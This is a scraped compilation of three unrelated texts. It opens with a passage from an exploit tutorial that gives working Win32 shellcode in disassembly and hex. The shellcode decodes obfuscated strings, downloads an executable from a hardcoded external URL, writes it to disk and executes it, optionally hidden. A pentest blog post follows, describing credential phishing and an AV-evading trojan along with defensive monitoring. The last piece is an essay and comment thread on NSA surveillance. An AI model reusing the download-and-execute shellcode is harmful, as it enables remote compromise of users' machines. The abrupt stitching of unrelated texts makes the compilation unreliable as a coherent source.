certain functions and fill in a table with the values. Use DUMPBIN to get the
import table. Both DLLs and EXEs have import tables. We know that MSCONF.DLL
is in memory, and that since we're only dealing with one version of
MSCONF.DLL, if GetProcAddress was in it's import table, then the address for
GetProcAddress was written to a fixed location in MSCONF.DLL's table space by
the operating system when it was loaded.So we dump it:Microsoft \(R\) COFF
Binary File Dumper Version 5.10.7303Copyright \(C\) Microsoft Corp 1992-1997.
All rights reserved.Dump of file msconf.dllFile Type: DLL Section contains the
following imports: KERNEL32.dll 23F Sleep 183 IsBadReadPtr 17E
InterlockedIncrement . . . 1E CompareStringA 98 FreeLibrary 116 GetProcAddress
190 LoadLibraryA 4C DeleteCriticalSection 51 DisableThreadLibraryCalls . .
.And there we are\! `GetProcAddress`, and `LoadLibraryA`\! `LoadLibrary` can
be used to get module handles of DLLs that are loaded, and to load DLLs that
aren't loaded. It basically returns the DLL base address. This is important
because the base address of the `KERNEL32.DLL` differs between NT and 95.So we
pop into our debugger and search through memory until we find the address of
the functions. They appear at `0x6A60107C (LoadLibraryA)`, and `0x6A601078
(GetProcAddress)`. We just need to call these locations using an indirection
\(`call dword ptr [0x6A60107C]`\) and we'll go to the right places.In order to
be efficient, we are going to build our exploit in two parts:Build a jumptable
of the functions we intend to use, andRun our code with reference to our own
jumptable.This reduces the amount of code required to call a function when
necessary, and minimizes stack usage to save registers. This is important,
because if we `PUSH` or `POP` too much, we might blow away our code or cause
other stack problems. In order to build this jumptable though, we'll need to
know ahead of time what Win32 functions we'll be calling. So lets figure out
what we want to do. 500 bytes is far too small for a really useful Windows
program, so instead, we'll make our little egg code download another program
off of the internet, a larger, well constructed executable, and execute it.
This will enable us to write this little tedious chunk once, and have it
execute a piece of higher level code.To download a URL, we'll need
`InternetOpenA`, `InternetCloseHandle`, `InternetOpenUrlA`, and
`InternetReadFile` from `WININET.DLL`. We'll also need `_lcreat`, `_lwrite`,
and `_lclose` from `KERNEL32.DLL` to write the file to disk once downloaded.
We'll need `GlobalAlloc` from `KERNEL32.DLL` to allocate memory for what we're
downloading. We'll also want `WinExec` and `ExitProcess` \(also in
`KERNEL32.DLL`\) to execute what we've downloaded, and kill the `RUNDLL32`
process that we so thoroughly corrupted \(before it can make a sound\).Note
that in a regular Win32 program, you would never call `_lcreat`, or any of the
other obsolete functions. However, they exist in Win95 and NT, and they have
far simpler calling syntax than `CreateFile` and friends. So we'll use
'em.Show me the code\!What's an EIP again?  
Creating our JumptableNow to create the jumptable.Hurdle \#1: We need to refer
to the functions by nameThat's right. GetProcAddress calls for either a
function ordinal \(which we can't use because they change from version to
version\), or a function name. A NULLterminated function name. Our exploit
string has to have null characters in it? Oh shit\! We should have thought of
that earlier\! That and we'll have to package this thing with a URL string as
well for it to download\!So we be clever again. Since no character in any of
our function names, or in our download URL is above ASCII 0x80, it's safe to
tack all of the names and the url to the end of the exploit string, and XOR
\(or ADD for that matter\) 0x80 to all of the string bytes. And when we start
up the exploit, we simply XOR the tail of our exploit with 0x80's. This has
the added advantage that the naked eye looking at the exploit string won't be
able to tell exactly what we're trying to do. Not good encryption, but that's
not the point. We're just trying to make it \_work\_.So we tack the following
crap to the end of the exploit string:00000270: .. .. .. .. .. .. .. 4B-45 52
4E 45-4C 33 32 00 KERNEL3200000280: 5F 6C 63 72-65 61 74 00-5F 6C 77 72-69 74
65 00 \_lcreat \_lwrite00000290: 5F 6C 63 6C-6F 73 65 00-57 69 6E 45-78 65 63
00 \_lclose WinExec000002A0: 45 78 69 74-50 72 6F 63-65 73 73 00-47 6C 6F 62
ExitProcess Glob000002B0: 61 6C 41 6C-6C 6F 63 00-57 49 4E 49-4E 45 54 00
alAlloc WININET000002C0: 49 6E 74 65-72 6E 65 74-4F 70 65 6E-41 00 49 6E
InternetOpenA In000002D0: 74 65 72 6E-65 74 43 6C-6F 73 65 48-61 6E 64 6C
ternetCloseHandl000002E0: 65 00 49 6E-74 65 72 6E-65 74 4F 70-65 6E 55 72 e
InternetOpenUr000002F0: 6C 41 00 49-6E 74 65 72-6E 65 74 52-65 61 64 46 lA
InternetReadF00000300: 69 6C 65 00-68 74 74 70-3A 2F 2F 77-77 77 2E 6C ile
http://www.l00000310: 30 70 68 74-2E 63 6F 6D-2F 7E 64 69-6C 64 6F 67
0pht.com/~dildog00000320: 2F 65 61 74-6D 65 2E 65-78 65 00 .. .. .. .. ..
/eatme.exe But we XOR it with 0x80 to eliminate the 00 bytes, as follows:
00000270: .. .. .. .. .. .. .. CB-C5 D2 CE C5-CC B3 B2 80 -+-++¶¶\_« 00000280:
DF EC E3 F2-E5 E1 F4 80-DF EC F7 F2-E9 F4 E5 80 \_\_\_\_þ\_«\_\_\_\_\_\_\_«
00000290: DF EC E3 EC-EF F3 E5 80-D7 E9 EE C5-F8 E5 E3 80
\_\_\_\_\_\_«+\_\_+ƒ\_« 000002A0: C5 F8 E9 F4-D0 F2 EF E3-E5 F3 F3 80-C7 EC EF
E2 +ƒ\_\_-\_\_\_\_\_«¶\_\_\_ 000002B0: E1 EC C1 EC-EC EF E3 80-D7 C9 CE C9-CE
C5 D4 80 þ\_-\_\_\_«+++++++« 000002C0: C9 EE F4 E5-F2 EE E5 F4-CF F0 E5 EE-C1
80 C9 EE +\_\_\_\_\_\_\_-\_\_\_-«+\_ 000002D0: F4 E5 F2 EE-E5 F4 C3 EC-EF F3
E5 C8-E1 EE E4 EC \_\_\_\_\_\_+\_\_\_\_+þ\_\_\_ 000002E0: E5 80 C9 EE-F4 E5 F2
EE-E5 F4 CF F0-E5 EE D5 F2 \_«+\_\_\_\_\_\_\_-\_\_\_+\_ 000002F0: EC C1 80
C9-EE F4 E5 F2-EE E5 F4 D2-E5 E1 E4 C6 \_-«+\_\_\_\_\_\_\_-\_þ\_¶ 00000300: E9
EC E5 80-E8 F4 F4 F0-BA AF AF F7-F7 F7 AE EC \_\_\_«\_\_\_\_¶ªª\_\_\_´\_
00000310: B0 F0 E8 F4-AE E3 EF ED-AF FE E4 E9-EC E4 EF E7
\_\_\_\_´\_\_ª\_\_\_\_\_\_\_ 00000320: AF E5 E1 F4-ED E5 AE E5-F8 E5 80 .. ..
.. .. .. ª\_þ\_\_\_Got it? Good.Hurdle \#2: We need to decode the string
tableSo our first task in the code is to decode this shit, so we make this the
first thing it executes: 00000146: 33C9 xor ecx,ecxClear ECX, we're gonna use
this. 00000148: B88053FF63 mov eax,063FF5380 ;"c\_S«" 0000014D: 2C80 sub
al,080 ;"«" 0000014F: C1C018 rol eax,018Set EAX to the end of our data area in
memory \(we have to do this ugly funk so we don't get any NULL characters\).
00000152: B1B4 mov cl,0B4 ;"¶"ECX is now 0x000000B4, the number of characters
we want to XOR. 00000154: 48 dec eax 00000155: 803080 xor b,\[eax\],080 ;"«"
00000158: E2FA loop 000000154 ---------- \(1\)And here's the XOR loop. Now we
see why we XORed from the end of the memory. Now EAX points to the start of
the data, and we can proceed to use it to reference the names. Now we move on
to actually get our jumptable.Hurdle \#3: Loading all the procedure addresses
0000015A: BE7C10606A mov esi,06A60107C 0000015F: 50 push eax 00000160: 50 push
eax 00000161: FF16 call d,\[esi\] 00000163: 8BF0 mov esi,eaxAll this code does
is call LoadModule. I didn't need to push twice there, but I was debugging,
and hey, I forgot to remove it. NOP it out if you like. EAX pointed to the
string "KERNEL32", which was the first argument to LoadModule. When LoadModule
returns, it will put the kernel module handle in EAX, which we then save in
ESI, so that it won't get blown away by calling other procedures. 00000165: 5B
pop ebx 00000166: 8BFB mov edi,ebx 00000168: 6681EF4BFF sub di,0FF4B
;"\_K"This sets EDI to point to the base of our jumptable, which we place 181
bytes past the beginning of our decoded string table \(in further stack
space\). 0000016D: FC cld 0000016E: 33C9 xor ecx,ecx 00000170: 80E9FA sub
cl,-006We're going to loop six times, for the six procedures we're loading
from the kernel. So now ECX=0x00000006. 00000173: 43 inc ebx 00000174: 32C0
xor al,al 00000176: D7 xlat 00000177: 84C0 test al,al 00000179: 75F8 jne
000000173 ---------- \(1\) 0000017B: 43 inc ebxThis loop scans over the text,
searching for a null character \(move to the next string, in other words\),
and then points EBX the character one past the 0x00 byte. This moves us from
one procedure name to the next. Note the 31337 use of XLAT. I like that. Our
whole memory reference in one byte. Sweet. 0000017C: 51 push ecx 0000017D: 53
push ebx 0000017E: 56 push esi 0000017F: FF157810606A call d,\[06A601078\]
00000185: AB stosd 00000186: 59 pop ecxThis gets the procedure addresses for
our functions, and places them in the table pointed to by EDI. 00000187: E2EA
loop 000000173 ---------- \(2\)Loop for all the kernel procedures.Now that
we're done with the kernel, we gotta repeat for the WININET procedures.
00000189: 43 inc ebx 0000018A: 32C0 xor al,al 0000018C: D7 xlat 0000018D: 84C0
test al,al 0000018F: 75F8 jne 000000189 ---------- \(2\) 00000191: 43 inc
ebxThis code only exists to move EBX past the name of the last kernel function
and to the string "WININET" in our decoded string table. 00000192: 53 push ebx
00000193: 53 push ebx 00000194: FF157C10606A call d,\[06A60107C\] 0000019A:
8BF0 mov esi,eax 0000019C: 90 nop 0000019D: 90 nop 0000019E: 90 nop 0000019F:
90 nopYeah the NOPs and the double-push are more debugging shit. Get rid of
them yourself if you don't like 'em there. This code gets the module handle
\(base address\) of WININET.DLL. It stores it in ESI. 000001A0: 33C9 xor
ecx,ecx 000001A2: 83E9FC sub ecx,-004 000001A5: 43 inc ebx 000001A6: 32C0 xor
al,al 000001A8: D7 xlat 000001A9: 84C0 test al,al 000001AB: 75F8 jne 0000001A5
000001AD: 43 inc ebx 000001AE: 51 push ecx 000001AF: 53 push ebx 000001B0: 56
push esi 000001B1: FF157810606A call d,\[06A601078\] 000001B7: AB stosd
000001B8: 59 pop ecx 000001B9: E2EA loop 0000001A5This is just a copy of the
code used to get the addresses for the kernel functions, but this time it's
getting the addresses of 4 WININET functions. I hope you don't need me to
explain all of this twice, or you'll never finish reading this. OK\! now we've
built us a jumptable. EDI points to the dword past the end of the jumptable,
so we can just reference our procedures indirectly from EDI now \(`call dword
ptr [edi-16]`\). It's just like an import table, but more fun\!Now that we
have harnessed all of our tools, they are mere keystrokes away. It's time to
get to the meat.Where's the 0x0000BEEF?  
  
The ShitTime to do what we've come here to do. Lets write this thing:
000001BB: 90 nop 000001BC: 90 nop 000001BD: 33C0 xor eax,eax 000001BF: 6648
dec ax 000001C1: D1E0 shl eax,1 000001C3: 33D2 xor edx,edx 000001C5: 50 push
eax 000001C6: 52 push edx 000001C7: FF57EC call d,\[edi\]\[-0014\] 000001CA:
8BF0 mov esi,eaxThis code allocates 131070 bytes of memory. EAX gets 131070,
and we call GlobalAlloc, indirectly addressed from our jumptable -0x14 bytes
from EDI. This stores the memory address in ESI. The type of GlobalAlloc is
GMEM\_FIXED \(0\), which results in a memory address being returned rather
than an unlocked handle. 000001CC: 33D2 xor edx,edx 000001CE: 52 push edx
000001CF: 52 push edx 000001D0: 52 push edx 000001D1: 52 push edx 000001D2: 57
push edi 000001D3: FF57F0 call d,\[edi\]\[-0010\]Then, we create an Internet
handle with a call to InternetOpenA. All the parameters to InternetOpenA are
zero in this case, so we're in luck.The internet handle is returned in EAX and
we'll immediately set it up as a parameter to the next function we call...
000001D6: 33D2 xor edx,edx 000001D8: 52 push edx 000001D9: 52 push edx
000001DA: 52 push edx 000001DB: 90 nop 000001DC: 52 push edx 000001DD: 8BD7
mov edx,edi 000001DF: 83EA50 sub edx,050 ;"P" 000001E2: 90 nop 000001E3: 90
nop 000001E4: 90 nop 000001E5: 52 push edx 000001E6: 50 push eax 000001E7:
FF57F8 call d,\[edi\]\[-0008\]This code makes a call to InternetOpenUrlA \(at
\[EDI-0x08\]\), invoking our chosen URL. The URL type is unspecified in the
code, so the URL can be HTTP,FTP,FILE,GOPHER,... whatever the hell you want.
000001EA: 57 push edi 000001EB: 33D2 xor edx,edx 000001ED: 664A dec dx
000001EF: D1E2 shl edx,1 000001F1: 52 push edx 000001F2: 56 push esi 000001F3:
50 push eax 000001F4: FF57FC call d,\[edi\]\[-0004\]This code uses
InternetReadFile \(at \[EDI-0x04\]\) to download up to 131070 bytes into our
memory buffer \(pointer in ESI\). Note that we first pushed EDI. EDI is where
we're going to store the count of how many bytes are actually read. This is
needed to save the file to disk with the right size.Note that there is a limit
to the size of the exploit executable you can download. Awww. If that's too
small, then too fuckin bad. What the fuck are you writing anyway, an MFC
exploit? Shit... 000001F7: 90 nop 000001F8: 90 nop 000001F9: 90 nop 000001FA:
33D2 xor edx,edx 000001FC: 52 push edx 000001FD: 8BD7 mov edx,edi 000001FF:
83EA30 sub edx,030 ;"0" 00000202: 42 inc edx 00000203: 90 nop 00000204: 90 nop
00000205: 52 push edx 00000206: FF57D8 call d,\[edi\]\[-0028\]This calls
\_lcreat \(at \[edi-0x28\]\) to create a file in which to dump our memory
buffer. Time to give this data a home\! The filename is chosen by looking at
the last 5 characters of the url. In this case, it's "e.exe". The file will be
created in the place where exploit was launched \(usually the person's
SpeedDial directory in the case of Netmeeting\). 00000209: FF37 push d,\[edi\]
0000020B: 56 push esi 0000020C: 50 push eax 0000020D: 8BD8 mov ebx,eax
0000020F: FF57DC call d,\[edi\]\[-0024\]And now we do the actual write to disk
with a call to \_lwrite \(at \[edi-0x24\]\). The parameter for the number of
bytes to write is located at \[edi\]. We also push the buffer location and the
file handle returned by \_lcreat. Before we call the function though, we save
the handle in EBX, which is not modified by \_lwrite. 00000212: 53 push ebx
00000213: FF57E0 call d,\[edi\]\[-0020\]And then we close the file handle to
get things committed. Now all that's left is to execute the file we downloaded
and exit this process. We aren't going to bother cleaning up the memory
allocation or anything like that. That would be nice, but fuck it, we're not
here to be nice. 00000216: 90 nop 00000217: 90 nop 00000218: 90 nop 00000219:
33D2 xor edx,edx 0000021B: 42 inc edx 0000021C: 52 push edx 0000021D: 8BD7 mov
edx,edi 0000021F: 83EA30 sub edx,030 ;"0" 00000222: 42 inc edx 00000223: 90
nop 00000224: 90 nop 00000225: 52 push edx 00000226: FF57E4 call
d,\[edi\]\[-001C\]Alright, now we just tell WinExec to run the executable\!
Note that the first 'inc edx' is to select "Show Window" mode for the
executable. If you want the executable to run in 'hidden' mode, you should nop
that line out, and it will use SW\_HIDE instead of SW\_SHOWNORMAL as the
second parm to WinExec. the first parm is the filename. Run it\! 00000229: 90
nop 0000022A: 90 nop 0000022B: 90 nop 0000022C: FF57E8 call
d,\[edi\]\[-0018\]And now we're done with this process. ExitProcess will clean
up our mess. And so it was done.Awwww yeah that felt good.  
  
  

# Real World CANVAS

**Created:**| _1/13/2014 8:25:02 PM_  
---|---  
**Updated:**| _1/13/2014 8:25:02 PM_  
**Author:**| __  
**Tags:**| _Exploit visualization_  
  

# **R** eal World CANVAS****

One of the things I really like about CANVAS is its adaptability**.** Often
when we do a penetration test or application assessment for a customer we'll
come up with an attack that isn't a straight forward “run this module, receive
root” type of attack**.** That's where CANVAS' adaptability comes into play
for us**.**

During the heady days of summer 2013 my trusty colleague @markwuergler  and I
were dispatched to the west coast on an extended consulting engagement**.** We
undertook a Phishing attack from the position of an attacker with access to
the internal network \(come see more details about this at my PyCon  lightning
talk\)**.** We cloned their internal web based email login page but modified
it such that when users posted their credentials it was logged by us, the
users were then redirected to the legitimate page and presented with a
password error**.** The logging gave us a key set of information: their
internal IP, username and password**.**

Mark cooked up some magic with Python WMI where we reflected the credentials
back at the originating IP, created a new share, uploaded a custom HTTP SSL
Trojan to the host and executed it**.** This didn't give us a 100% success
rate as not all users had sufficient permissions to use our upload and execute
method but we still came up with a high percentage of compromised hosts**.**

<img src='img/Temp2_6783.png' />

Since we were going to have CANVAS code running on the remote hosts, we
tweaked CANVAS's startup**.** py script which is run on every new node that
connects to CANVAS**.** For this particular engagement all we did was check
our privileges and take a screenshot of the compromised host for reporting
purposes**.** However CANVAS allows us to make automated decisions about our
privileges, choose to escalate if needed and then dump password hashes or
start monitoring the host's network traffic**.** In our situation, because the
folks checking their mail could be doing so from computers where downtime or
lost data would be catastrophic, we had to limit ourselves to something
safe**.** So extensive post exploitation actions including memory corruption
based privilege escalation were out**.**

A lot of work went into this particular attack and CANVAS saved us a lot of
trouble**.** Once we came up with the plan only about 1 day of prep was
needed, if we had to implement all that CANVAS helped us automate it would've
taken weeks**.**

This raises the question, if an attacker is in a position to carry out these
types of shenanigans on your internal network how do you defend against
it**?** Mark and I had already modified the Trojan to bypass detection by the
anti-virus installed on the network, so AV would be of minimal help**.** One
of the limitations of this attack was that we had to touch disk to infect the
hosts**.** A defender can take advantage of this using another Immunity free
product, El Jefe , which watches process execution across an entire
enterprise**.** With a little bit of Python elbow grease you can code up an
alert which would let you know when a new binary is executed on more than a
set number of internal hosts within a certain time period**.**

<img src='img/Temp2_6782.png' />

As I've participated in consulting with Immunity over the past 5 years one of
the questions I've learned to ask myself when writing reports is, what will
the client do with this vulnerability information**?** This attack wasn't that
surprising, an attacker with access to an enormous internal network has the
ability to run some frightening attacks**.** What the client does with this is
not apply a patch or modify an ACL but it is to start looking at data they
hadn't considered before and then figuring out what else that data can tell
them about how their enterprise REALLY works**.** Pen-testing is fundamentally
about telling your client something they didn't already know and in this
instance I think we did exactly that**.**

****

# Why the “I’ve Got Nothing To Hide” Argument Is Wrong | Rounders and Rogues
**Created:**| _8/6/2013 9:32:14 AM_  
---|---  
**Updated:**| _8/6/2013 9:32:14 AM_  
**Author:**| __  
**Tags:**| _philo_  
  

# Why the “I’ve Got Nothing To Hide” Argument Is Wrong****

The past few days have been a whirlwind of leaks , disclosures , and
revelations  regarding the NSA and their methods of domestic surveillance**.**
Thanks to the efforts of intrepid journalists and the courageous whistleblower
Edward Snowden , we now know that the citizenry- in the eyes of our
government- has been rendered unnecessary in the debate concerning the balance
of privacy, liberty and security**.** It appears that our elected officials
believe that a secret law, pertaining to a secret program, enacted in secret,
which infiltrates every corner of our private lives, is something we’d find
irrelevant**.**

Most people I’ve interacted with are rightly outraged, if not a bit
frightened, but there have been several bad arguments made in quasi-defense of
the government’s actions that I want to address**.**

1**.**\) The notion that “If we have nothing to hide, we should have nothing
to fear” is one of the most obscenely myopic statements one can utter**.** The
government has access to every meaningful piece of information we have ever
shared, expressed, pondered or cared enough to put into correspondence; how is
that not unacceptably invasive**?** In concert these varying bits of data are
enough to construct a composite of who we are, with the stated intent of
protecting our personal and collective safety**.** Perhaps I’m in the
minority, but that sounds more like an illusion of safety, if not the total
converse of it**.**

The Republic the founders envisioned was one in which the citizen knew
everything his government was doing, while the State remained oblivious to how
he or she lived their private lives**.** \(Private and public do have
distinctive meanings after all**.**\) This ideal has today been inverted in
the name of National Security**.** And given the lack of transparency on an
array of imperative issues, what reason do we have to believe the government
isn’t using this data opportunistically**?** According to aforementioned
whistleblower Edward Snowden, that’s precisely what they are doing **.** This
is why he felt compelled to come forward**.** According to him, not only can
the government encapsulate every facet of one’s life, they can use this
information to coerce one’s conformity or worse**.**

We must look at this from both the personal and collective standpoint**.** Are
we comfortable in asserting that just because we have nothing to hide, the
government couldn’t ruin the innocent lives of our fellow citizens by
mistake**?** Greater access to our private information increases that
risk**.** It’s certainly happened before, and once it does, there is little to
no recourse for restitution**.** Indeed to be Muslim in America already
wrongly evokes suspicion**.** It’s certainly reasonable to assume that Arab-
Americans are being unscrupulously targeted by these indiscriminate programs.
We all are**.** This is why we must see the breadth of the canvas**.** If we
acquiesce to these programs by saying that “I don’t care” because “I have
nothing to hide”, we make it easier for our government to exceed the necessary
partitions erected by an inherently free society**.** It’s not about having
nothing to hide**.** It’s about the right to life, liberty, and the pursuit of
happiness unfettered by government oversight**.** And that affects us all**.**

We should also think about this in terms of journalism and the rights of a
free press to investigate stories, protect sources, and inform the public**.**
Surveillance of this magnitude endeavors to stifle the flow of information,
thereby making it harder and more dangerous for journalists to do their
job**.** This kind of disclosure underscores how necessary whistleblowers and
adversarial journalists are to the public good, and if we allow these programs
to continue unimpeded, we’ll find it harder to gain other insights in the
future**.**

2**.**\) The notion that any politician, now that these programs are public
knowledge, is suddenly “open to the debate” is a farce**.** Obama himself has
now said that he welcomes the debate between privacy and national
security**.** How convenient. We shouldn’t lose sight of the fact that he’s
only claiming a desire to engage in this “debate” because the information was
leaked**.** He never had the intention of discussing this openly**.** The
document concerning the metadata mining of Verizon customers wasn’t supposed
to be declassified until 2038 **.** Was he expecting to have this debate from
the grave**?**

What he really means is, “Okay, you’ve caught us**.** But now that you have,
let’s talk about it, because that’s really what I wanted all along**.** ” It’s
a cynical line meant for a credulous populace and we should consider it an
insult**.** The truth is if Obama and Congress \(with some exceptions\) had it
their way, these programs would still be operating in the dark, in total
secrecy**.** And this fictitious debate he welcomes would be relegated to the
periphery, where those of us who’ve been vociferously warning about domestic
spying have lingered for most of his presidency**.**

3.\) We should be wary of the “These programs are necessary to protect us
against terrorism” line everyone defending these programs inevitably
utilizes**.** It’s the last line of defense. The frequency with which this
rationale is invoked is revealing, but I’m uncertain whether that’s because
our officials are convinced it’s true, or if it’s because they believe
screaming “TERROR” loudly enough is justification for anything**.**

I’m not suggesting that terrorism isn’t a real threat, nor am I saying that we
shouldn’t actively attempt to defend our citizens**.** I’m simply stating that
liberty comes with a price**.** We’ll never completely expunge the threat of
terror, so it’s worth it to engage in a dialogue pertaining to the level of
government intrusion we find permissible**.** The fires of fear are stoked in
times like these with the intention of validating the surrender of just a
fraction more of our freedom, in order to ensure security**.** The exact
opposite must be true. In moments like this, the measure of our resolve must
be serene yet uncompromising; sagacious yet stalwart **.** Liberty must
prevail.

4.\) If we are comfortable with this level of surveillance; if the trade off-
privacy for security- is a reasonable one to us, then so be it**.** But in
order to engage the argument one must know what’s being argued**.** Thanks to
people like Glenn Greenwald and ultimately, Edward Snowden, we can now
participate in this discussion and decide if this is the kind of country we
want to live in**.** Snowden, like Daniel Ellsberg and Bradley Manning before
him, is a hero**.** He will unquestionably be portrayed with suspicion and
skepticism**.** With vigor, he’ll be cast as an unstable, disenfranchised
misanthrope**.** Everything but the substance of what he exposed will be
beaten like the deadest of horses, in an effort to shift the focus away from
the message**.** A message, I remind you, motivated by conscience, integrity,
and transparency; not to mention tremendous danger and personal loss**.** It’s
important not to become so immersed in the spin that you find yourself
adrift**.** The content is what matters. Not the petty musings of an
obsequious press refusing to come to terms with its own hypocrisy**.**

5.\) We shouldn’t lose sight of what this means in the larger War on
Terror**.** Our policies continue to create more, not less, terrorist threats,
which in turn justify the existence of secret programs. The incentive to
achieve absolute omniscience within the virtual universe is one perpetuated by
the supposed ubiquity of terrorist threats**.** And thus, the war is cyclical
by design, as is the money flowing to the contractors and government entities
building these tools of “security” and” pacification”**.** Engaging one is to
indirectly engage the other, if we’re to treat this issue honestly**.** Until
we see that our liberty and privacy are directly tied to what our government
has done, and continues to do, throughout the Middle East and elsewhere, the
impetus in Washington will be to remain reactionary, opaque, and self-
serving**.**

“Those who would give up essential Liberty, to purchase a little temporary
Safety, deserve neither Liberty nor Safety**.** ”- Benjamin Franklin

“I would rather be exposed to the inconveniences attending too much liberty
than to those attending too small a degree of it**.** ”- Thomas Jefferson

### 36 Responses to _Why the “I’ve Got Nothing To Hide” Argument Is Wrong****_

  1. <img src='img/Temp2_9495.png' width='40' height='40' /> Neil says: 
June 10, 2013 at 10:52 pm

“If you’ve got nothing to hide, you’ve got nothing to be afraid of” has been
an utterly discredited defense for a long time, and rightly so**.** Anyone
still using it are either hopeless authoritarian followers, or they are
personally gaining in some way from this surveillance**.**

There is a modern equivalent that is perhaps even more dangerous**.** This is
personified by Mark Zuckerberg, as he has made many statements in recent years
about society having to ‘get over’ this obsession with privacy**.** The
argument is basically that modern technology makes privacy almost impossible
anyway, so we ought to just give in and let them collect the flood of data
that each person generates**.** He says we can feel safe because our most
intimate details will just be lost in the flood, and we can achieve a certain
type of privacy because of the sheer quantity of data being collected**.**

Zuckerberg in particular has tried to tie this up with hacker philosophy, the
general ‘openness’ between systems that the open-source movement has been
championing for years**.**

But don’t be fooled. The openness advocated by hackers and the like is only
about technology, and in fact hackers are usually the most fanatical about
their personal privacy**.** Zuckerberg has stolen much of the hacker ‘cachet’
and tried to shoehorn all this stuff about giving up on privacy into the same
box, because he stands to make a ton of money from it**.**

In reality, there’s nothing about the new technology and communications
systems that makes privacy for individuals any less important**.** In fact,
your right to privacy is more important than ever before, because the
government has, for the first time, the algorithms and CPU power to use the
flood of new data to find just about anything they want**.** That flood of
data doesn’t do \*anything\* to give you privacy**.**

Reply

     * <img src='img/Temp2_9501.png' width='40' height='40' /> Terry Adams says: 
June 11, 2013 at 7:25 pm

I agree, privacy shouldn’t be less important simply because of the nature of
technology**.** It seems naive to think you can expect the same level of it if
you lead any kind of online existence, but still, this discussion ought to be
how we manage that, and make it as fair as possible**.**

Reply

  2. <img src='img/Temp2_9499.png' width='40' height='40' /> N**.** Friedman says: 
June 11, 2013 at 1:21 pm

“Our policies continue to create more, not less, terrorist threats, which in
turn justify the existence of secret programs.”

While I think you have made some very interesting and good points, the above
is not one of them**.** In WWII, we made more, not fewer, enemies by bombing
our enemies**.** Would we have been better off not doing any bombing**?** I
rather doubt it.

The issue here is that whatever we do, there will be a response**.** If we
were to do whatever those who commit terrorists want, it would be, beyond any
doubt, spun as victory for their approach, which would also create also create
more terrorists threats, not fewer**.**

Perhaps, we should simply ignore the terrorists and what they do**.** In that
event, you can bet it would be spun as showing our impotence, which would also
create more, not fewer, terrorist threats**.**

My point is not to suggest that our approach to the terrorist threat is the
correct one or to deny that what you write is literally true**.** My point is
that you are wrong if you think that the dominant cause of terrorism can be
found in what we do or do not do**.** It is not. It has only peripheral
importance. The most apparent thing here is that the terrorists have developed
an ideology, one that has seen itself vindicated, both since it predicts that
we shall respond or that we shall give into what the terrorists want or that
we are too impotent to respond effectively**.**

While I do not want to take the analogy with the pre-WWII period too far, I do
note that, like the Nazis, the Islamists have a worldview, one that can be
promoted not only to true believers but to others**.** The Islamist ideology
is not a mere reaction although, like Nazism, perceived humiliations play a
major role in its formation**.** However, having transformed from a lunatic
ideology into a full blown movement, our ability to impact what its followers,
one way or the other, is rather limited**.** Anything we do will be spun**.**

I might also note that your quoted statement has basically nothing to do with
any spying the US government is or is not doing**.**

One last point**.** We have a whistle blower who has come forward. We do not
know whether he is really telling the truth**.** We also do not know if those
who act in the program – if we assume the worst – are rogues or following the
rules that have been set**.** I note that the issue here is not merely the
existence of the ability to gather data and use it nefariously**.** That has
existed for ages – and long pre-dates the computer era**.** Ask anyone who has
lived in the USSR if you doubt it**.** So, the issue here is what, in fact, is
going on, if anything – which is something we do not, at this point, know**.**
At this point, we have accusers and deniers. Some of the deniers are credible
people, so we should not be jumping to any conclusions at this point**.**

Reply

     * <img src='img/Temp2_9497.png' width='40' height='40' /> Mona Holland \(@MonaHol\)  says: 
June 11, 2013 at 2:07 pm

“While I think you have made some very interesting and good points, the above
is not one of them**.** In WWII, we made more, not fewer, enemies by bombing
our enemies**.** Would we have been better off not doing any bombing**?** I
rather doubt it.”

Inapposite**.** If for decades before WWII the U.S. had gone around the world
bombing German countries — pretend there were more than a dozen — and staging
coups against German leaders, propping up German tyrants, and invading and
continuing to target German populations with little care to killing civilians,
and killing half a million German children with a sanctions campaign, your
analogy would work**.** But in that case, the U.S. would have been responsible
for WWII**.**

Just as we are arguably responsible for generating ever-increasing Muslim
terrorists, whose political grievances are often just**.** No people would put
up with what the West, and especially the U.S., has done to them**.** We
wouldn’t put up with it.

Reply

       * <img src='img/Temp2_9499.png' width='40' height='40' /> N**.** Friedman says: 
June 11, 2013 at 2:16 pm

“If for decades before WWII the U.S. had gone around the world bombing German
countries…”

In fact, we have not for decades been bombing Arab countries or Islamic
countries**.** It is always nice to say incendiary things. However, they ought
be true things. On the other hand, we, in fact, were involved in killing
millions and millions of Germans in WWI – far more than what we did to Arabs
or Muslims more generally**.**

       * <img src='img/Temp2_9501.png' width='40' height='40' /> Terry Adams says: 
June 11, 2013 at 7:37 pm

What Mona means is the following:

Decades is a fair assessment if in fact you include the overthrowing of
democratically elected leaders- see Iran 1953

The propping up of brutal dictators that kill their own people- see Egypt,
Libya \(pre-2011\), Iran \(1953-1979\), Yemen, Saudi Arabia, Bahrain, Iraq
\(pre-Desert Storm\)

Brutal sanctions that killed hundreds of thousands of people in Iraq from the
early 90′s to the mid 2000′s**.**

Brutal sanctions affecting the people- not the government- in Iran

The unilateral support of Israel as they have continued to illegally occupy
and oppress Palestine

The arming and aiding of religious fanatics in Afghanistan in order to kill
Russians in the 70′s and 80′s, which of course created the Taliban**.** We’ve
now allowed some of the most brutal Warlords in that country to become major
government entities in their parliament**.**

The indiscriminate use of drones in Pakistan and Yemen

The selling of arms to governments like Bahrain and the UAE to be used on Arab
Spring protesters**.**

These are just a few examples. They go back quite a ways**.** British and
French colonialism extends even farther**.**

     * <img src='img/Temp2_9501.png' width='40' height='40' /> Terry Adams says: 
June 11, 2013 at 7:21 pm

Neil, in my opinion, anytime someone attempts to use a WWII or Nazi Germany
comparison to make a point about US foreign policy in the modern era, the
point they are making is usually weak**.** Hence the need to invoke the evil
of Nazism and what “could be”, if we didn’t intervene in such and such a
way**.**

I agree with Mona, the two situations are not analogous**.**

Your argument seems to be that no matter what we do in the region, our
policies would be spun in such a way that would make us look bad**.** A
lose/lose if you will. Isn’t that what every enemy does? Look at what is
happening in our own media right now, concerning the NSA whistleblower Edward
Snowden**.** Read some of the pointless drivel designed to discredit the
messenger, instead of focusing on the message**.** What do you think that
is**?** Propaganda meant to dissuade us from taking him seriously- aka-
spinning the info in such a way as to favor one’s own agenda, which is
precisely what you’re arguing the “terrorists” would do if we modulated our
foreign policy one way or another**.**

So what’s the answer**?** Inaction? Business as usual? I think you’re wrong
about the level of influence- or “cause and effect”- our policies in the
region \(for quite a while now\) have on the perpetuity of retaliatory
terrorist attacks**.** But since you disagree, I’ll simply state that what we
know in this situation, is only what has resulted from our current policies
